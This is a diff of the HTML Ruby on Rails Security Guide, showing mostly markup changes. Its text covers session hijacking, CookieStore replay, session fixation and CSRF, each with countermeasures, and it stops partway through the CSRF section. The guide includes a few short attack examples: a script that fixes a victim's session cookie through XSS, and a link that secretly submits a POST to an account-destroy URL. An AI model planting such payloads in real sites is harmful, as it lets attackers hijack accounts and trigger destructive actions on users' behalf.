+ </ol>
+ </div>
+
+ <div id="content">
+ <h1>Ruby On Rails Security Guide</h1>
+ <div id="preamble">
<div class="sectionbody">
-<div class="para"><p>This manual describes common security problems in web applications and how to avoid them with Rails. If you have any questions or suggestions, please
+<div class="paragraph"><p>This manual describes common security problems in web applications and how to avoid them with Rails. If you have any questions or suggestions, please
mail me, Heiko Webers, at 42 {<em>et</em>} rorsecurity.info. After reading it, you should be familiar with:</p></div>
-<div class="ilist"><ul>
+<div class="ulist"><ul>
<li>
<p>
All countermeasures <span style="background-color: #fffcdb;">that are highlighted</span>
@@ -363,36 +195,35 @@ And the most popular injection attack methods
</div>
<h2 id="_introduction">1. Introduction</h2>
<div class="sectionbody">
-<div class="para"><p>Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It‘s nice to see that all of the Rails applications I audited had a good level of security.</p></div>
-<div class="para"><p>In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).</p></div>
-<div class="para"><p>The Gartner Group however estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person.</p></div>
-<div class="para"><p>The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.</p></div>
-<div class="para"><p>In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the Additional Resources chapter). I do it manually because that‘s how you find the nasty logical security problems.</p></div>
+<div class="paragraph"><p>Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It‘s nice to see that all of the Rails applications I audited had a good level of security.</p></div>
+<div class="paragraph"><p>In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).</p></div>
+<div class="paragraph"><p>The Gartner Group however estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person.</p></div>
+<div class="paragraph"><p>The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.</p></div>
+<div class="paragraph"><p>In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the Additional Resources chapter). I do it manually because that‘s how you find the nasty logical security problems.</p></div>
</div>
<h2 id="_sessions">2. Sessions</h2>
<div class="sectionbody">
-<div class="para"><p>A good place to start looking at security is with sessions, which can be vulnerable to particular attacks.</p></div>
+<div class="paragraph"><p>A good place to start looking at security is with sessions, which can be vulnerable to particular attacks.</p></div>
<h3 id="_what_are_sessions">2.1. What are sessions?</h3>
-<div class="para"><p>&#8212; <em>HTTP is a stateless protocol Sessions make it stateful.</em></p></div>
-<div class="para"><p>Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request.
+<div class="paragraph"><p>-- <em>HTTP is a stateless protocol Sessions make it stateful.</em></p></div>
+<div class="paragraph"><p>Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request.
Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application.</p></div>
-<div class="para"><p>A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method:</p></div>
+<div class="paragraph"><p>A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client&#8217;s browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>session<span style="color: #990000">[:</span>user_id<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #009900">@current_user</span><span style="color: #990000">.</span>id
-User<span style="color: #990000">.</span>find<span style="color: #990000">(</span>session<span style="color: #990000">[:</span>user_id<span style="color: #990000">])</span>
-</tt></pre></div></div>
+User<span style="color: #990000">.</span>find<span style="color: #990000">(</span>session<span style="color: #990000">[:</span>user_id<span style="color: #990000">])</span></tt></pre></div></div>
<h3 id="_session_id">2.2. Session id</h3>
-<div class="para"><p>&#8212; <em>The session id is a 32 byte long MD5 hash value.</em></p></div>
-<div class="para"><p>A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date.</p></div>
+<div class="paragraph"><p>-- <em>The session id is a 32 byte long MD5 hash value.</em></p></div>
+<div class="paragraph"><p>A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date.</p></div>
<h3 id="_session_hijacking">2.3. Session hijacking</h3>
-<div class="para"><p>&#8212; <em>Stealing a user's session id lets an attacker use the web application in the victim's name.</em></p></div>
-<div class="para"><p>Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session.</p></div>
-<div class="para"><p>Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>-- <em>Stealing a user&#8217;s session id lets an attacker use the web application in the victim&#8217;s name.</em></p></div>
+<div class="paragraph"><p>Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session.</p></div>
+<div class="paragraph"><p>Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:</p></div>
+<div class="ulist"><ul>
<li>
<p>
Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to <span style="background-color: #fffcdb;">provide a secure connection over SSL</span>.
@@ -400,28 +231,28 @@ Sniff the cookie in an insecure network. A wireless LAN can be an example of suc
</li>
<li>
<p>
-Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a <span style="background-color: #fffcdb;">log-out button</span> in the web application, and <span style="background-color: #fffcdb;">make it prominent</span>.
+Most people don&#8217;t clear out the cookies after working at a public terminal. So if the last user didn&#8217;t log out of a web application, you would be able to use it as this user. Provide the user with a <span style="background-color: #fffcdb;">log-out button</span> in the web application, and <span style="background-color: #fffcdb;">make it prominent</span>.
</p>
</li>
<li>
<p>
-Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read more about XSS later.
+Many cross-site scripting (XSS) exploits aim at obtaining the user&#8217;s cookie. You&#8217;ll read more about XSS later.
</p>
</li>
<li>
<p>
-Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later.
+Instead of stealing a cookie unknown to the attacker, he fixes a user&#8217;s session identifier (in the cookie) known to him. Read more about this so-called session fixation later.
</p>
</li>
</ul></div>
-<div class="para"><p>The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the <a href="http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf">Symantec Global Internet Security Threat Report</a>.</p></div>
+<div class="paragraph"><p>The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the <a href="http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf">Symantec Global Internet Security Threat Report</a>.</p></div>
<h3 id="_session_guidelines">2.4. Session guidelines</h3>
-<div class="para"><p>&#8212; <em>Here are some general guidelines on sessions.</em></p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>-- <em>Here are some general guidelines on sessions.</em></p></div>
+<div class="ulist"><ul>
<li>
<p>
-<span style="background-color: #fffcdb;">Do not store large objects in a session</span>. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below).
-This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.
+<span style="background-color: #fffcdb;">Do not store large objects in a session</span>. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won&#8217;t fill up your session storage space (depending on what session storage you chose, see below).
+This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user&#8217;s cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.
</p>
</li>
<li>
@@ -431,37 +262,37 @@ This will also be a good idea, if you modify the structure of an object and old
</li>
</ul></div>
<h3 id="_session_storage">2.5. Session storage</h3>
-<div class="para"><p>&#8212; <em>Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecordStore and CookieStore.</em></p></div>
-<div class="para"><p>There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecordStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecordStore keeps the session id and hash in a database table and saves and retrieves the hash on every request.</p></div>
-<div class="para"><p>Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>-- <em>Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecordStore and CookieStore.</em></p></div>
+<div class="paragraph"><p>There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecordStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecordStore keeps the session id and hash in a database table and saves and retrieves the hash on every request.</p></div>
+<div class="paragraph"><p>Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:</p></div>
+<div class="ulist"><ul>
<li>
<p>
-Cookies imply a strict size limit of 4K. This is fine as you should not store large amounts of data in a session anyway, as described before. <span style="background-color: #fffcdb;">Storing the current user's database id in a session is usually ok</span>.
+Cookies imply a strict size limit of 4K. This is fine as you should not store large amounts of data in a session anyway, as described before. <span style="background-color: #fffcdb;">Storing the current user&#8217;s database id in a session is usually ok</span>.
</p>
</li>
<li>
<p>
-The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, <span style="background-color: #fffcdb;">you don't want to store any secrets here</span>. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.
+The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, <span style="background-color: #fffcdb;">you don&#8217;t want to store any secrets here</span>. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.
</p>
</li>
</ul></div>
-<div class="para"><p>That means the security of this storage depends on this secret (and of the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So <span style="background-color: #fffcdb;">don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters</span>. Put the secret in your environment.rb:</p></div>
+<div class="paragraph"><p>That means the security of this storage depends on this secret (and of the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So <span style="background-color: #fffcdb;">don&#8217;t use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters</span>. Put the secret in your environment.rb:</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>config.action_controller.session = {
- :session_key =&gt; ‘_app_session’,
+ :key =&gt; ‘_app_session’,
:secret =&gt; ‘0x0dkfj3927dkc7djdh36rkckdfzsg...’
}</tt></pre>
</div></div>
-<div class="para"><p>There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it.</p></div>
+<div class="paragraph"><p>There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it.</p></div>
<h3 id="_replay_attacks_for_cookiestore_sessions">2.6. Replay attacks for CookieStore sessions</h3>
-<div class="para"><p>&#8212; <em>Another sort of attack you have to be aware of when using CookieStore is the replay attack.</em></p></div>
-<div class="para"><p>It works like this:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>-- <em>Another sort of attack you have to be aware of when using CookieStore is the replay attack.</em></p></div>
+<div class="paragraph"><p>It works like this:</p></div>
+<div class="ulist"><ul>
<li>
<p>
-A user receives credits, the amount is stored in a session (which is bad idea, anyway, but we'll do this for demonstration purposes).
+A user receives credits, the amount is stored in a session (which is bad idea, anyway, but we&#8217;ll do this for demonstration purposes).
</p>
</li>
<li>
@@ -485,17 +316,17 @@ The user has his credit back.
</p>
</li>
</ul></div>
-<div class="para"><p>Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).</p></div>
-<div class="para"><p>The best <span style="background-color: #fffcdb;">solution against it is not to store this kind of data in a session, but in the database</span>. In this case store the credit in the database and the logged_in_user_id in the session.</p></div>
+<div class="paragraph"><p>Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).</p></div>
+<div class="paragraph"><p>The best <span style="background-color: #fffcdb;">solution against it is not to store this kind of data in a session, but in the database</span>. In this case store the credit in the database and the logged_in_user_id in the session.</p></div>
<h3 id="_session_fixation">2.7. Session fixation</h3>
-<div class="para"><p>&#8212; <em>Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation.</em></p></div>
+<div class="paragraph"><p>-- <em>Apart from stealing a user&#8217;s session id, the attacker may fix a session id known to him. This is called session fixation.</em></p></div>
<div class="imageblock">
<div class="content">
<img src="images/session_fixation.png" alt="Session fixation" title="Session fixation"/>
</div>
</div>
-<div class="para"><p>This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:</p></div>
-<div class="olist"><ol>
+<div class="paragraph"><p>This attack focuses on fixing a user&#8217;s session id known to the attacker, and forcing the user&#8217;s browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:</p></div>
+<div class="olist arabic"><ol class="arabic">
<li>
<p>
The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).
@@ -508,13 +339,13 @@ He possibly maintains the session. Expiring sessions, for example every 20 minut
</li>
<li>
<p>
-Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: <tt>&lt;script&gt;
document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";
&lt;/script&gt;</tt>
+Now the attacker will force the user&#8217;s browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: <tt>&lt;script&gt;
document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";
&lt;/script&gt;</tt>
Read more about XSS and injection later on.
</p>
</li>
<li>
<p>
-The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
+The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim&#8217;s browser will change the session id to the trap session id.
</p>
</li>
<li>
@@ -524,25 +355,24 @@ As the new trap session is unused, the web application will require the user to
</li>
<li>
<p>
-From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
+From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn&#8217;t notice the attack.
</p>
</li>
</ol></div>
<h3 id="_session_fixation_countermeasures">2.8. Session fixation – Countermeasures</h3>
-<div class="para"><p>&#8212; <em>One line of code will protect you from session fixation.</em></p></div>
-<div class="para"><p>The most effective countermeasure is to <span style="background-color: #fffcdb;">issue a new session identifier</span> and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:</p></div>
+<div class="paragraph"><p>-- <em>One line of code will protect you from session fixation.</em></p></div>
+<div class="paragraph"><p>The most effective countermeasure is to <span style="background-color: #fffcdb;">issue a new session identifier</span> and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>reset_session
-</tt></pre></div></div>
-<div class="para"><p>If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, <span style="background-color: #fffcdb;">you have to transfer them to the new session</span>.</p></div>
-<div class="para"><p>Another countermeasure is to <span style="background-color: #fffcdb;">save user-specific properties in the session</span>, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. <span style="background-color: #fffcdb;">These might change over the course of a session</span>, so these users will not be able to use your application, or only in a limited way.</p></div>
+<pre><tt>reset_session</tt></pre></div></div>
+<div class="paragraph"><p>If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, <span style="background-color: #fffcdb;">you have to transfer them to the new session</span>.</p></div>
+<div class="paragraph"><p>Another countermeasure is to <span style="background-color: #fffcdb;">save user-specific properties in the session</span>, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. <span style="background-color: #fffcdb;">These might change over the course of a session</span>, so these users will not be able to use your application, or only in a limited way.</p></div>
<h3 id="_session_expiry">2.9. Session expiry</h3>
-<div class="para"><p>&#8212; <em>Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation.</em></p></div>
-<div class="para"><p>One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to <span style="background-color: #fffcdb;">expire sessions in a database table</span>. Call Session.sweep("20m") to expire sessions that were used longer than 20 minutes ago.</p></div>
+<div class="paragraph"><p>-- <em>Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation.</em></p></div>
+<div class="paragraph"><p>One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to <span style="background-color: #fffcdb;">expire sessions in a database table</span>. Call Session.sweep("20m") to expire sessions that were used longer than 20 minutes ago.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -558,30 +388,28 @@ http://www.gnu.org/software/src-highlite -->

 <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>

 <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>delete_all <span style="color: #FF0000">"updated_at &lt; '#{time.to_s(:db)}'"</span>

 <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:</p></div>
+
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>delete_all <span style="color: #FF0000">"updated_at &lt; '#{time.to_s(:db)}' OR created_at &lt; '#{2.days.ago.to_s(:db)}'"</span>
-</tt></pre></div></div>
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>delete_all <span style="color: #FF0000">"updated_at &lt; '#{time.to_s(:db)}' OR created_at &lt; '#{2.days.ago.to_s(:db)}'"</span></tt></pre></div></div>
</div>
<h2 id="_cross_site_reference_forgery_csrf">3. Cross-Site Reference Forgery (CSRF)</h2>
<div class="sectionbody">
-<div class="para"><p>&#8212; <em>This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands.</em></p></div>
+<div class="paragraph"><p>-- <em>This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands.</em></p></div>
<div class="imageblock">
<div class="content">
<img src="images/csrf.png" alt="CSRF" title="CSRF"/>
</div>
</div>
-<div class="para"><p>In the session chapter you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>In the session chapter you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let&#8217;s start with an example:</p></div>
+<div class="ulist"><ul>
<li>
<p>
-Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file.
+Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob&#8217;s project management application, rather than an image file.
</p>
</li>
<li>
@@ -591,7 +419,7 @@ Bob browses a message board and views a post from a hacker where there is a craf
</li>
<li>
<p>
-Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago.
+Bob&#8217;s session at www.webapp.com is still alive, because he didn&#8217;t log out a few minutes ago.
</p>
</li>
<li>
@@ -606,25 +434,25 @@ The web application at www.webapp.com verifies the user information in the corre
</li>
<li>
<p>
-Bob doesn't notice the attack &#8212; but a few days later he finds out that project number one is gone.
+Bob doesn&#8217;t notice the attack&#8201;&#8212;&#8201;but a few days later he finds out that project number one is gone.
</p>
</li>
</ul></div>
-<div class="para"><p>It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere – in a forum, blog post or email.</p></div>
-<div class="para"><p>CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) &#8212; less than 0.1% in 2006 &#8212; but it really is a <em>sleeping giant</em> [Grossman]. This is in stark contrast to the results in my (and others) security contract work – <span style="background-color: #fffcdb;">CSRF is an important security issue</span>.</p></div>
+<div class="paragraph"><p>It is important to notice that the actual crafted image or link doesn&#8217;t necessarily have to be situated in the web application&#8217;s domain, it can be anywhere – in a forum, blog post or email.</p></div>
+<div class="paragraph"><p>CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures)&#8201;&#8212;&#8201;less than 0.1% in 2006&#8201;&#8212;&#8201;but it really is a <em>sleeping giant</em> [Grossman]. This is in stark contrast to the results in my (and others) security contract work – <span style="background-color: #fffcdb;">CSRF is an important security issue</span>.</p></div>
<h3 id="_csrf_countermeasures">3.1. CSRF Countermeasures</h3>
-<div class="para"><p>&#8212; <em>First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF.</em></p></div>
-<div class="para"><p>The HTTP protocol basically provides two main types of requests - GET and POST (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:</p></div>
-<div class="para"><p><strong>Use GET if:</strong></p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>-- <em>First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF.</em></p></div>
+<div class="paragraph"><p>The HTTP protocol basically provides two main types of requests - GET and POST (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:</p></div>
+<div class="paragraph"><p><strong>Use GET if:</strong></p></div>
+<div class="ulist"><ul>
<li>
<p>
The interaction is more <span style="background-color: #fffcdb;">like a question</span> (i.e., it is a safe operation such as a query, read operation, or lookup).
</p>
</li>
</ul></div>
-<div class="para"><p><strong>Use POST if:</strong></p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p><strong>Use POST if:</strong></p></div>
+<div class="ulist"><ul>
<li>
<p>
The interaction is more <span style="background-color: #fffcdb;">like an order</span>, or
@@ -641,14 +469,14 @@ The user is <span style="background-color: #fffcdb;">held accountable for the re
</p>
</li>
</ul></div>
-<div class="para"><p>If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today‘s web browsers, however do not support them - only GET and POST. Rails uses a hidden <tt>_method</tt> field to handle this barrier.</p></div>
-<div class="para"><p><span style="background-color: #fffcdb;">The verify method in a controller can make sure that specific actions may not be used over GET</span>. Here is an example to verify the use of the transfer action over POST. If the action comes in using any other verb, it redirects to the list action.</p></div>
+<div class="paragraph"><p>If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today‘s web browsers, however do not support them - only GET and POST. Rails uses a hidden <tt>_method</tt> field to handle this barrier.</p></div>
+<div class="paragraph"><p><span style="background-color: #fffcdb;">The verify method in a controller can make sure that specific actions may not be used over GET</span>. Here is an example to verify the use of the transfer action over POST. If the action comes in using any other verb, it redirects to the list action.</p></div>
<div class="literalblock">
<div class="content">
<pre><tt>verify :method =&gt; :post, :only =&gt; [:transfer], :redirect_to =&gt; {:action =&gt; :list}</tt></pre>
</div></div>
-<div class="para"><p>With this precaution, the attack from above will not work, because the browser sends a GET request for images, which will not be accepted by the web application.</p></div>
-<div class="para"><p>But this was only the first step, because <span style="background-color: #fffcdb;">POST requests can be send automatically, too</span>. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request.</p></div>
+<div class="paragraph"><p>With this precaution, the attack from above will not work, because the browser sends a GET request for images, which will not be accepted by the web application.</p></div>
+<div class="paragraph"><p>But this was only the first step, because <span style="background-color: #fffcdb;">POST requests can be send automatically, too</span>. Here is an example for a link which displays www.harmless.com as destination in the browser&#8217;s status bar. In fact it dynamically creates a new form that sends a POST request.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -661,21 +489,20 @@ http://www.gnu.org/software/src-highlite -->
<span style="color: #FF0000"> f.method = 'POST';</span>
<span style="color: #FF0000"> f.action = 'http://www.example.com/account/destroy';</span>
<span style="color: #FF0000"> f.submit();</span>
-<span style="color: #FF0000"> return false;"</span><span style="font-weight: bold"><span style="color: #0000FF">&gt;</span></span>To the harmless survey<span style="font-weight: bold"><span style="color: #0000FF">&lt;/a&gt;</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Or the attacker places the code into the onmouseover event handler of an image:</p></div>
-<div class="para"><p><tt>&lt;img src="http://www.harmless.com/img" width="400" height="400" onmouseover="&#8230;" /&gt;</tt></p></div>
